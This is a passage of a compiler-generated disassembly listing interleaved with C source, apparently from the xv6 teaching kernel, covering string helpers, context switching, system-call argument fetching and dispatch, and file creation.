80104656: 83 c1 01 add $0x1,%ecx
80104659: 29 cb sub %ecx,%ebx
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
;
while(n-- > 0)
8010465b: 85 db test %ebx,%ebx
8010465d: 7f f1 jg 80104650 <strncpy+0x40>
*s++ = 0;
return os;
}
8010465f: 5b pop %ebx
80104660: 5e pop %esi
80104661: 5d pop %ebp
80104662: c3 ret
80104663: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104669: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104670 <safestrcpy>:
// Like strncpy but guaranteed to NUL-terminate.
char*
safestrcpy(char *s, const char *t, int n)
{
80104670: 55 push %ebp
80104671: 89 e5 mov %esp,%ebp
80104673: 56 push %esi
80104674: 53 push %ebx
80104675: 8b 4d 10 mov 0x10(%ebp),%ecx
80104678: 8b 45 08 mov 0x8(%ebp),%eax
8010467b: 8b 55 0c mov 0xc(%ebp),%edx
char *os;
os = s;
if(n <= 0)
8010467e: 85 c9 test %ecx,%ecx
80104680: 7e 26 jle 801046a8 <safestrcpy+0x38>
80104682: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi
80104686: 89 c1 mov %eax,%ecx
80104688: eb 17 jmp 801046a1 <safestrcpy+0x31>
8010468a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return os;
while(--n > 0 && (*s++ = *t++) != 0)
80104690: 83 c2 01 add $0x1,%edx
80104693: 0f b6 5a ff movzbl -0x1(%edx),%ebx
80104697: 83 c1 01 add $0x1,%ecx
8010469a: 84 db test %bl,%bl
8010469c: 88 59 ff mov %bl,-0x1(%ecx)
8010469f: 74 04 je 801046a5 <safestrcpy+0x35>
801046a1: 39 f2 cmp %esi,%edx
801046a3: 75 eb jne 80104690 <safestrcpy+0x20>
;
*s = 0;
801046a5: c6 01 00 movb $0x0,(%ecx)
return os;
}
801046a8: 5b pop %ebx
801046a9: 5e pop %esi
801046aa: 5d pop %ebp
801046ab: c3 ret
801046ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801046b0 <strlen>:
int
strlen(const char *s)
{
801046b0: 55 push %ebp
int n;
for(n = 0; s[n]; n++)
801046b1: 31 c0 xor %eax,%eax
return os;
}
int
strlen(const char *s)
{
801046b3: 89 e5 mov %esp,%ebp
801046b5: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
801046b8: 80 3a 00 cmpb $0x0,(%edx)
801046bb: 74 0c je 801046c9 <strlen+0x19>
801046bd: 8d 76 00 lea 0x0(%esi),%esi
801046c0: 83 c0 01 add $0x1,%eax
801046c3: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
801046c7: 75 f7 jne 801046c0 <strlen+0x10>
;
return n;
}
801046c9: 5d pop %ebp
801046ca: c3 ret
801046cb <swtch>:
# a struct context, and save its address in *old.
# Switch stacks to new and pop previously-saved registers.
.globl swtch
swtch:
movl 4(%esp), %eax
801046cb: 8b 44 24 04 mov 0x4(%esp),%eax
movl 8(%esp), %edx
801046cf: 8b 54 24 08 mov 0x8(%esp),%edx
# Save old callee-saved registers
pushl %ebp
801046d3: 55 push %ebp
pushl %ebx
801046d4: 53 push %ebx
pushl %esi
801046d5: 56 push %esi
pushl %edi
801046d6: 57 push %edi
# Switch stacks
movl %esp, (%eax)
801046d7: 89 20 mov %esp,(%eax)
movl %edx, %esp
801046d9: 89 d4 mov %edx,%esp
# Load new callee-saved registers
popl %edi
801046db: 5f pop %edi
popl %esi
801046dc: 5e pop %esi
popl %ebx
801046dd: 5b pop %ebx
popl %ebp
801046de: 5d pop %ebp
ret
801046df: c3 ret
801046e0 <fetchint>:
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
801046e0: 55 push %ebp
801046e1: 89 e5 mov %esp,%ebp
801046e3: 53 push %ebx
801046e4: 83 ec 04 sub $0x4,%esp
801046e7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *curproc = myproc();
801046ea: e8 81 f0 ff ff call 80103770 <myproc>
if(addr >= curproc->sz || addr+4 > curproc->sz)
801046ef: 8b 00 mov (%eax),%eax
801046f1: 39 d8 cmp %ebx,%eax
801046f3: 76 1b jbe 80104710 <fetchint+0x30>
801046f5: 8d 53 04 lea 0x4(%ebx),%edx
801046f8: 39 d0 cmp %edx,%eax
801046fa: 72 14 jb 80104710 <fetchint+0x30>
return -1;
*ip = *(int*)(addr);
801046fc: 8b 45 0c mov 0xc(%ebp),%eax
801046ff: 8b 13 mov (%ebx),%edx
80104701: 89 10 mov %edx,(%eax)
return 0;
80104703: 31 c0 xor %eax,%eax
}
80104705: 83 c4 04 add $0x4,%esp
80104708: 5b pop %ebx
80104709: 5d pop %ebp
8010470a: c3 ret
8010470b: 90 nop
8010470c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
fetchint(uint addr, int *ip)
{
struct proc *curproc = myproc();
if(addr >= curproc->sz || addr+4 > curproc->sz)
return -1;
80104710: b8 ff ff ff ff mov $0xffffffff,%eax
80104715: eb ee jmp 80104705 <fetchint+0x25>
80104717: 89 f6 mov %esi,%esi
80104719: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104720 <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
80104720: 55 push %ebp
80104721: 89 e5 mov %esp,%ebp
80104723: 53 push %ebx
80104724: 83 ec 04 sub $0x4,%esp
80104727: 8b 5d 08 mov 0x8(%ebp),%ebx
char *s, *ep;
struct proc *curproc = myproc();
8010472a: e8 41 f0 ff ff call 80103770 <myproc>
if(addr >= curproc->sz)
8010472f: 39 18 cmp %ebx,(%eax)
80104731: 76 29 jbe 8010475c <fetchstr+0x3c>
return -1;
*pp = (char*)addr;
80104733: 8b 4d 0c mov 0xc(%ebp),%ecx
80104736: 89 da mov %ebx,%edx
80104738: 89 19 mov %ebx,(%ecx)
ep = (char*)curproc->sz;
8010473a: 8b 00 mov (%eax),%eax
for(s = *pp; s < ep; s++){
8010473c: 39 c3 cmp %eax,%ebx
8010473e: 73 1c jae 8010475c <fetchstr+0x3c>
if(*s == 0)
80104740: 80 3b 00 cmpb $0x0,(%ebx)
80104743: 75 10 jne 80104755 <fetchstr+0x35>
80104745: eb 29 jmp 80104770 <fetchstr+0x50>
80104747: 89 f6 mov %esi,%esi
80104749: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104750: 80 3a 00 cmpb $0x0,(%edx)
80104753: 74 1b je 80104770 <fetchstr+0x50>
if(addr >= curproc->sz)
return -1;
*pp = (char*)addr;
ep = (char*)curproc->sz;
for(s = *pp; s < ep; s++){
80104755: 83 c2 01 add $0x1,%edx
80104758: 39 d0 cmp %edx,%eax
8010475a: 77 f4 ja 80104750 <fetchstr+0x30>
if(*s == 0)
return s - *pp;
}
return -1;
}
8010475c: 83 c4 04 add $0x4,%esp
{
char *s, *ep;
struct proc *curproc = myproc();
if(addr >= curproc->sz)
return -1;
8010475f: b8 ff ff ff ff mov $0xffffffff,%eax
for(s = *pp; s < ep; s++){
if(*s == 0)
return s - *pp;
}
return -1;
}
80104764: 5b pop %ebx
80104765: 5d pop %ebp
80104766: c3 ret
80104767: 89 f6 mov %esi,%esi
80104769: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104770: 83 c4 04 add $0x4,%esp
return -1;
*pp = (char*)addr;
ep = (char*)curproc->sz;
for(s = *pp; s < ep; s++){
if(*s == 0)
return s - *pp;
80104773: 89 d0 mov %edx,%eax
80104775: 29 d8 sub %ebx,%eax
}
return -1;
}
80104777: 5b pop %ebx
80104778: 5d pop %ebp
80104779: c3 ret
8010477a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104780 <argint>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
80104780: 55 push %ebp
80104781: 89 e5 mov %esp,%ebp
80104783: 56 push %esi
80104784: 53 push %ebx
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
80104785: e8 e6 ef ff ff call 80103770 <myproc>
8010478a: 8b 40 18 mov 0x18(%eax),%eax
8010478d: 8b 55 08 mov 0x8(%ebp),%edx
80104790: 8b 40 44 mov 0x44(%eax),%eax
80104793: 8d 1c 90 lea (%eax,%edx,4),%ebx
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
struct proc *curproc = myproc();
80104796: e8 d5 ef ff ff call 80103770 <myproc>
if(addr >= curproc->sz || addr+4 > curproc->sz)
8010479b: 8b 00 mov (%eax),%eax
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
8010479d: 8d 73 04 lea 0x4(%ebx),%esi
int
fetchint(uint addr, int *ip)
{
struct proc *curproc = myproc();
if(addr >= curproc->sz || addr+4 > curproc->sz)
801047a0: 39 c6 cmp %eax,%esi
801047a2: 73 1c jae 801047c0 <argint+0x40>
801047a4: 8d 53 08 lea 0x8(%ebx),%edx
801047a7: 39 d0 cmp %edx,%eax
801047a9: 72 15 jb 801047c0 <argint+0x40>
return -1;
*ip = *(int*)(addr);
801047ab: 8b 45 0c mov 0xc(%ebp),%eax
801047ae: 8b 53 04 mov 0x4(%ebx),%edx
801047b1: 89 10 mov %edx,(%eax)
return 0;
801047b3: 31 c0 xor %eax,%eax
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
}
801047b5: 5b pop %ebx
801047b6: 5e pop %esi
801047b7: 5d pop %ebp
801047b8: c3 ret
801047b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
fetchint(uint addr, int *ip)
{
struct proc *curproc = myproc();
if(addr >= curproc->sz || addr+4 > curproc->sz)
return -1;
801047c0: b8 ff ff ff ff mov $0xffffffff,%eax
801047c5: eb ee jmp 801047b5 <argint+0x35>
801047c7: 89 f6 mov %esi,%esi
801047c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801047d0 <argptr>:
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
801047d0: 55 push %ebp
801047d1: 89 e5 mov %esp,%ebp
801047d3: 56 push %esi
801047d4: 53 push %ebx
801047d5: 83 ec 10 sub $0x10,%esp
801047d8: 8b 5d 10 mov 0x10(%ebp),%ebx
int i;
struct proc *curproc = myproc();
801047db: e8 90 ef ff ff call 80103770 <myproc>
801047e0: 89 c6 mov %eax,%esi
if(argint(n, &i) < 0)
801047e2: 8d 45 f4 lea -0xc(%ebp),%eax
801047e5: 83 ec 08 sub $0x8,%esp
801047e8: 50 push %eax
801047e9: ff 75 08 pushl 0x8(%ebp)
801047ec: e8 8f ff ff ff call 80104780 <argint>
return -1;
if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz)
801047f1: c1 e8 1f shr $0x1f,%eax
801047f4: 83 c4 10 add $0x10,%esp
801047f7: 84 c0 test %al,%al
801047f9: 75 2d jne 80104828 <argptr+0x58>
801047fb: 89 d8 mov %ebx,%eax
801047fd: c1 e8 1f shr $0x1f,%eax
80104800: 84 c0 test %al,%al
80104802: 75 24 jne 80104828 <argptr+0x58>
80104804: 8b 16 mov (%esi),%edx
80104806: 8b 45 f4 mov -0xc(%ebp),%eax
80104809: 39 c2 cmp %eax,%edx
8010480b: 76 1b jbe 80104828 <argptr+0x58>
8010480d: 01 c3 add %eax,%ebx
8010480f: 39 da cmp %ebx,%edx
80104811: 72 15 jb 80104828 <argptr+0x58>
return -1;
*pp = (char*)i;
80104813: 8b 55 0c mov 0xc(%ebp),%edx
80104816: 89 02 mov %eax,(%edx)
return 0;
80104818: 31 c0 xor %eax,%eax
}
8010481a: 8d 65 f8 lea -0x8(%ebp),%esp
8010481d: 5b pop %ebx
8010481e: 5e pop %esi
8010481f: 5d pop %ebp
80104820: c3 ret
80104821: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
struct proc *curproc = myproc();
if(argint(n, &i) < 0)
return -1;
if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz)
return -1;
80104828: b8 ff ff ff ff mov $0xffffffff,%eax
8010482d: eb eb jmp 8010481a <argptr+0x4a>
8010482f: 90 nop
80104830 <argstr>:
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
80104830: 55 push %ebp
80104831: 89 e5 mov %esp,%ebp
80104833: 83 ec 20 sub $0x20,%esp
int addr;
if(argint(n, &addr) < 0)
80104836: 8d 45 f4 lea -0xc(%ebp),%eax
80104839: 50 push %eax
8010483a: ff 75 08 pushl 0x8(%ebp)
8010483d: e8 3e ff ff ff call 80104780 <argint>
80104842: 83 c4 10 add $0x10,%esp
80104845: 85 c0 test %eax,%eax
80104847: 78 17 js 80104860 <argstr+0x30>
return -1;
return fetchstr(addr, pp);
80104849: 83 ec 08 sub $0x8,%esp
8010484c: ff 75 0c pushl 0xc(%ebp)
8010484f: ff 75 f4 pushl -0xc(%ebp)
80104852: e8 c9 fe ff ff call 80104720 <fetchstr>
80104857: 83 c4 10 add $0x10,%esp
}
8010485a: c9 leave
8010485b: c3 ret
8010485c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int
argstr(int n, char **pp)
{
int addr;
if(argint(n, &addr) < 0)
return -1;
80104860: b8 ff ff ff ff mov $0xffffffff,%eax
return fetchstr(addr, pp);
}
80104865: c9 leave
80104866: c3 ret
80104867: 89 f6 mov %esi,%esi
80104869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104870 <syscall>:
[SYS_cps] sys_cps,
};
void
syscall(void)
{
80104870: 55 push %ebp
80104871: 89 e5 mov %esp,%ebp
80104873: 56 push %esi
80104874: 53 push %ebx
int num;
struct proc *curproc = myproc();
80104875: e8 f6 ee ff ff call 80103770 <myproc>
num = curproc->tf->eax;
8010487a: 8b 70 18 mov 0x18(%eax),%esi
void
syscall(void)
{
int num;
struct proc *curproc = myproc();
8010487d: 89 c3 mov %eax,%ebx
num = curproc->tf->eax;
8010487f: 8b 46 1c mov 0x1c(%esi),%eax
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
80104882: 8d 50 ff lea -0x1(%eax),%edx
80104885: 83 fa 15 cmp $0x15,%edx
80104888: 77 1e ja 801048a8 <syscall+0x38>
8010488a: 8b 14 85 20 76 10 80 mov -0x7fef89e0(,%eax,4),%edx
80104891: 85 d2 test %edx,%edx
80104893: 74 13 je 801048a8 <syscall+0x38>
curproc->tf->eax = syscalls[num]();
80104895: ff d2 call *%edx
80104897: 89 46 1c mov %eax,0x1c(%esi)
} else {
cprintf("%d %s: unknown sys call %d\n",
curproc->pid, curproc->name, num);
curproc->tf->eax = -1;
}
}
8010489a: 8d 65 f8 lea -0x8(%ebp),%esp
8010489d: 5b pop %ebx
8010489e: 5e pop %esi
8010489f: 5d pop %ebp
801048a0: c3 ret
801048a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
num = curproc->tf->eax;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
curproc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
801048a8: 50 push %eax
curproc->pid, curproc->name, num);
801048a9: 8d 43 6c lea 0x6c(%ebx),%eax
num = curproc->tf->eax;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
curproc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
801048ac: 50 push %eax
801048ad: ff 73 10 pushl 0x10(%ebx)
801048b0: 68 01 76 10 80 push $0x80107601
801048b5: e8 a6 bd ff ff call 80100660 <cprintf>
curproc->pid, curproc->name, num);
curproc->tf->eax = -1;
801048ba: 8b 43 18 mov 0x18(%ebx),%eax
801048bd: 83 c4 10 add $0x10,%esp
801048c0: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
}
801048c7: 8d 65 f8 lea -0x8(%ebp),%esp
801048ca: 5b pop %ebx
801048cb: 5e pop %esi
801048cc: 5d pop %ebp
801048cd: c3 ret
801048ce: 66 90 xchg %ax,%ax
801048d0 <create>:
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
801048d0: 55 push %ebp
801048d1: 89 e5 mov %esp,%ebp
801048d3: 57 push %edi
801048d4: 56 push %esi
801048d5: 53 push %ebx
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
801048d6: 8d 75 da lea -0x26(%ebp),%esi
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
801048d9: 83 ec 34 sub $0x34,%esp
801048dc: 89 4d d0 mov %ecx,-0x30(%ebp)
801048df: 8b 4d 08 mov 0x8(%ebp),%ecx
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
801048e2: 56 push %esi
801048e3: 50 push %eax
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
801048e4: 89 55 d4 mov %edx,-0x2c(%ebp)
801048e7: 89 4d cc mov %ecx,-0x34(%ebp)
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
801048ea: e8 e1 d5 ff ff call 80101ed0 <nameiparent>
801048ef: 83 c4 10 add $0x10,%esp
801048f2: 85 c0 test %eax,%eax
801048f4: 0f 84 f6 00 00 00 je 801049f0 <create+0x120>
return 0;
ilock(dp);
801048fa: 83 ec 0c sub $0xc,%esp
801048fd: 89 c7 mov %eax,%edi
801048ff: 50 push %eax
80104900: e8 5b cd ff ff call 80101660 <ilock>
if((ip = dirlookup(dp, name, 0)) != 0){
80104905: 83 c4 0c add $0xc,%esp
80104908: 6a 00 push $0x0
8010490a: 56 push %esi
8010490b: 57 push %edi
8010490c: e8 7f d2 ff ff call 80101b90 <dirlookup>
80104911: 83 c4 10 add $0x10,%esp
80104914: 85 c0 test %eax,%eax
80104916: 89 c3 mov %eax,%ebx
80104918: 74 56 je 80104970 <create+0xa0>
iunlockput(dp);
8010491a: 83 ec 0c sub $0xc,%esp
8010491d: 57 push %edi
8010491e: e8 cd cf ff ff call 801018f0 <iunlockput>
ilock(ip);
80104923: 89 1c 24 mov %ebx,(%esp)
80104926: e8 35 cd ff ff call 80101660 <ilock>
if(type == T_FILE && ip->type == T_FILE)
8010492b: 83 c4 10 add $0x10,%esp
8010492e: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp)
80104933: 75 1b jne 80104950 <create+0x80>
80104935: 66 83 7b 50 02 cmpw $0x2,0x50(%ebx)
8010493a: 89 d8 mov %ebx,%eax
8010493c: 75 12 jne 80104950 <create+0x80>
panic("create: dirlink");
iunlockput(dp);
return ip;
}
8010493e: 8d 65 f4 lea -0xc(%ebp),%esp
80104941: 5b pop %ebx
80104942: 5e pop %esi
80104943: 5f pop %edi
80104944: 5d pop %ebp
80104945: c3 ret
80104946: 8d 76 00 lea 0x0(%esi),%esi
80104949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if((ip = dirlookup(dp, name, 0)) != 0){
iunlockput(dp);
ilock(ip);
if(type == T_FILE && ip->type == T_FILE)
return ip;
iunlockput(ip);
80104950: 83 ec 0c sub $0xc,%esp
80104953: 53 push %ebx
80104954: e8 97 cf ff ff call 801018f0 <iunlockput>
return 0;
80104959: 83 c4 10 add $0x10,%esp
panic("create: dirlink");
iunlockput(dp);
return ip;
}
8010495c: 8d 65 f4 lea -0xc(%ebp),%esp
iunlockput(dp);
ilock(ip);
if(type == T_FILE && ip->type == T_FILE)
return ip;
iunlockput(ip);
return 0;
8010495f: 31 c0 xor %eax,%eax
panic("create: dirlink");
iunlockput(dp);
return ip;
}
80104961: 5b pop %ebx
80104962: 5e pop %esi
80104963: 5f pop %edi
80104964: 5d pop %ebp
80104965: c3 ret
80104966: 8d 76 00 lea 0x0(%esi),%esi
80104969: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
return ip;
iunlockput(ip);
return 0;
}
if((ip = ialloc(dp->dev, type)) == 0)
80104970: 0f bf 45 d4 movswl -0x2c(%ebp),%eax
80104974: 83 ec 08 sub $0x8,%esp
80104977: 50 push %eax
80104978: ff 37 pushl (%edi)
8010497a: e8 71 cb ff ff call 801014f0 <ialloc>
8010497f: 83 c4 10 add $0x10,%esp
80104982: 85 c0 test %eax,%eax
80104984: 89 c3 mov %eax,%ebx
80104986: 0f 84 cc 00 00 00 je 80104a58 <create+0x188>
panic("create: ialloc");
ilock(ip);
8010498c: 83 ec 0c sub $0xc,%esp
8010498f: 50 push %eax
80104990: e8 cb cc ff ff call 80101660 <ilock>
ip->major = major;
80104995: 0f b7 45 d0 movzwl -0x30(%ebp),%eax
80104999: 66 89 43 52 mov %ax,0x52(%ebx)
ip->minor = minor;
8010499d: 0f b7 45 cc movzwl -0x34(%ebp),%eax
801049a1: 66 89 43 54 mov %ax,0x54(%ebx)
ip->nlink = 1;
801049a5: b8 01 00 00 00 mov $0x1,%eax
801049aa: 66 89 43 56 mov %ax,0x56(%ebx)
iupdate(ip);
801049ae: 89 1c 24 mov %ebx,(%esp)
801049b1: e8 fa cb ff ff call 801015b0 <iupdate>
if(type == T_DIR){ // Create . and .. entries.
801049b6: 83 c4 10 add $0x10,%esp
801049b9: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp)
801049be: 74 40 je 80104a00 <create+0x130>
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
panic("create dots");
}
if(dirlink(dp, name, ip->inum) < 0)
801049c0: 83 ec 04 sub $0x4,%esp
801049c3: ff 73 04 pushl 0x4(%ebx)
801049c6: 56 push %esi
801049c7: 57 push %edi
801049c8: e8 23 d4 ff ff call 80101df0 <dirlink>
801049cd: 83 c4 10 add $0x10,%esp
801049d0: 85 c0 test %eax,%eax
801049d2: 78 77 js 80104a4b <create+0x17b>
panic("create: dirlink");
iunlockput(dp);
801049d4: 83 ec 0c sub $0xc,%esp
801049d7: 57 push %edi
801049d8: e8 13 cf ff ff call 801018f0 <iunlockput>
return ip;
801049dd: 83 c4 10 add $0x10,%esp
}
801049e0: 8d 65 f4 lea -0xc(%ebp),%esp
if(dirlink(dp, name, ip->inum) < 0)
panic("create: dirlink");
iunlockput(dp);
return ip;
801049e3: 89 d8 mov %ebx,%eax
}
801049e5: 5b pop %ebx
801049e6: 5e pop %esi
801049e7: 5f pop %edi
801049e8: 5d pop %ebp
801049e9: c3 ret
801049ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
{
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
return 0;
801049f0: 31 c0 xor %eax,%eax
801049f2: e9 47 ff ff ff jmp 8010493e <create+0x6e>
801049f7: 89 f6 mov %esi,%esi
801049f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
ip->minor = minor;
ip->nlink = 1;
iupdate(ip);
if(type == T_DIR){ // Create . and .. entries.
dp->nlink++; // for ".."
80104a00: 66 83 47 56 01 addw $0x1,0x56(%edi)
iupdate(dp);
80104a05: 83 ec 0c sub $0xc,%esp
80104a08: 57 push %edi
80104a09: e8 a2 cb ff ff call 801015b0 <iupdate>
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
80104a0e: 83 c4 0c add $0xc,%esp
80104a11: ff 73 04 pushl 0x4(%ebx)
80104a14: 68 98 76 10 80 push $0x80107698
80104a19: 53 push %ebx
80104a1a: e8 d1 d3 ff ff call 80101df0 <dirlink>
80104a1f: 83 c4 10 add $0x10,%esp
80104a22: 85 c0 test %eax,%eax
80104a24: 78 18 js 80104a3e <create+0x16e>
80104a26: 83 ec 04 sub $0x4,%esp
80104a29: ff 77 04 pushl 0x4(%edi)
80104a2c: 68 97 76 10 80 push $0x80107697
80104a31: 53 push %ebx
80104a32: e8 b9 d3 ff ff call 80101df0 <dirlink>
80104a37: 83 c4 10 add $0x10,%esp
80104a3a: 85 c0 test %eax,%eax
80104a3c: 79 82 jns 801049c0 <create+0xf0>
panic("create dots");
80104a3e: 83 ec 0c sub $0xc,%esp
80104a41: 68 8b 76 10 80 push $0x8010768b
80104a46: e8 25 b9 ff ff call 80100370 <panic>
}
if(dirlink(dp, name, ip->inum) < 0)
panic("create: dirlink");
80104a4b: 83 ec 0c sub $0xc,%esp
80104a4e: 68 9a 76 10 80 push $0x8010769a
80104a53: e8 18 b9 ff ff call 80100370 <panic>
iunlockput(ip);
return 0;
}
if((ip = ialloc(dp->dev, type)) == 0)
panic("create: ialloc");
80104a58: 83 ec 0c sub $0xc,%esp
80104a5b: 68 7c 76 10 80 push $0x8010767c
80104a60: e8 0b b9 ff ff call 80100370 <panic>
80104a65: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104a69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104a70 <argfd.constprop.0>:
#include "fcntl.h"
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
80104a70: 55 push %ebp
80104a71: 89 e5 mov %esp,%ebp
80104a73: 56 push %esi
80104a74: 53 push %ebx
80104a75: 89 c6 mov %eax,%esi
{
int fd;
struct file *f;
if(argint(n, &fd) < 0)
80104a77: 8d 45 f4 lea -0xc(%ebp),%eax
#include "fcntl.h"
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
80104a7a: 89 d3 mov %edx,%ebx
80104a7c: 83 ec 18 sub $0x18,%esp
{
int fd;
struct file *f;
if(argint(n, &fd) < 0)
80104a7f: 50 push %eax
80104a80: 6a 00 push $0x0
80104a82: e8 f9 fc ff ff call 80104780 <argint>
80104a87: 83 c4 10 add $0x10,%esp
80104a8a: 85 c0 test %eax,%eax
80104a8c: 78 32 js 80104ac0 <argfd.constprop.0+0x50>
return -1;
if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0)
80104a8e: 83 7d f4 0f cmpl $0xf,-0xc(%ebp)
80104a92: 77 2c ja 80104ac0 <argfd.constprop.0+0x50>
80104a94: e8 d7 ec ff ff call 80103770 <myproc>
80104a99: 8b 55 f4 mov -0xc(%ebp),%edx
80104a9c: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax
80104aa0: 85 c0 test %eax,%eax
80104aa2: 74 1c je 80104ac0 <argfd.constprop.0+0x50>
return -1;
if(pfd)
80104aa4: 85 f6 test %esi,%esi
80104aa6: 74 02 je 80104aaa <argfd.constprop.0+0x3a>
*pfd = fd;
80104aa8: 89 16 mov %edx,(%esi)
if(pf)
80104aaa: 85 db test %ebx,%ebx
80104aac: 74 22 je 80104ad0 <argfd.constprop.0+0x60>
*pf = f;
80104aae: 89 03 mov %eax,(%ebx)
return 0;
80104ab0: 31 c0 xor %eax,%eax
}
80104ab2: 8d 65 f8 lea -0x8(%ebp),%esp
80104ab5: 5b pop %ebx
80104ab6: 5e pop %esi
80104ab7: 5d pop %ebp
80104ab8: c3 ret
80104ab9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104ac0: 8d 65 f8 lea -0x8(%ebp),%esp
{
int fd;
struct file *f;
if(argint(n, &fd) < 0)
return -1;
80104ac3: b8 ff ff ff ff mov $0xffffffff,%eax
if(pfd)
*pfd = fd;
if(pf)
*pf = f;
return 0;
}
80104ac8: 5b pop %ebx
80104ac9: 5e pop %esi
80104aca: 5d pop %ebp
80104acb: c3 ret
80104acc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
if(pfd)
*pfd = fd;
if(pf)
*pf = f;
return 0;
80104ad0: 31 c0 xor %eax,%eax
80104ad2: eb de jmp 80104ab2 <argfd.constprop.0+0x42>
80104ad4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104ada: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80104ae0 <sys_dup>:
return -1;
}
int
sys_dup(void)
{
80104ae0: 55 push %ebp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
80104ae1: 31 c0 xor %eax,%eax
return -1;
}
int
sys_dup(void)
{
80104ae3: 89 e5 mov %esp,%ebp
80104ae5: 56 push %esi
80104ae6: 53 push %ebx
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
80104ae7: 8d 55 f4 lea -0xc(%ebp),%edx
return -1;
}
int
sys_dup(void)
{
80104aea: 83 ec 10 sub $0x10,%esp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
80104aed: e8 7e ff ff ff call 80104a70 <argfd.constprop.0>
80104af2: 85 c0 test %eax,%eax
80104af4: 78 1a js 80104b10 <sys_dup+0x30>
fdalloc(struct file *f)
{
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
80104af6: 31 db xor %ebx,%ebx
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
return -1;
if((fd=fdalloc(f)) < 0)
80104af8: 8b 75 f4 mov -0xc(%ebp),%esi
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
int fd;
struct proc *curproc = myproc();
80104afb: e8 70 ec ff ff call 80103770 <myproc>
for(fd = 0; fd < NOFILE; fd++){
